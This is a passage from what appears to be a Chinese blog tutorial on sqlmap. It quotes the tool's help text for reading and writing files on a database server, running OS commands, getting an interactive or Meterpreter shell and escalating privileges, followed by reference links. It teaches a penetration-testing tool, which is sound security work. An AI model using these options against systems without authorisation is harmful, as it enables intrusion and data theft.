    system underlying file system    

    --file-read=RFILE   Read a file from the back-end DBMS file system    
    --file-write=WFILE  Write a local file on the back-end DBMS file system    
    --file-dest=DFILE   Back-end DBMS absolute filepath to write to    

执行操作系统命令,同样使用以上UDF

  Operating system access:    
    These options can be used to access the back-end database management    
    system underlying operating system    

    --os-cmd=OSCMD      Execute an operating system command    
    --os-shell          Prompt for an interactive operating system shell    
    --os-pwn            Prompt for an OOB shell, Meterpreter or VNC    
    --os-smbrelay       One click prompt for an OOB shell, Meterpreter or VNC    
    --os-bof            Stored procedure buffer overflow exploitation    
    --priv-esc          Database process user privilege escalation    
    --msf-path=MSFPATH  Local path where Metasploit Framework is installed    
    --tmp-path=TMPPATH  Remote absolute path of temporary files directory    

参考

https://github.com/sqlmapproject/sqlmap/wiki/Usage

sqlmap_src/sqlmap.conf

http://sqlmap.org/

http://baike.baidu.com/view/9472.htm

https://hit-alibaba.github.io/interview/basic/network/HTTP.html

版权声明:本文内容由阿里云实名注册用户自发贡献,版权归原作者所有,阿里云开发者社区不拥有其著作权,亦不承担相应法律责任。具体规则请查看《阿里云开发者社区用户服务协议》和《阿里云开发者社区知识产权保护指引》。如果您发现本社区中有涉嫌抄袭的内容,填写侵权投诉表单进行举报,一经查实,本社区将立刻删除涉嫌侵权内容。

分享:
阿里云数据库
使用钉钉扫一扫加入圈子
+ 订阅

帮用户承担一切数据库风险,给您何止是安心!

官方博客
链接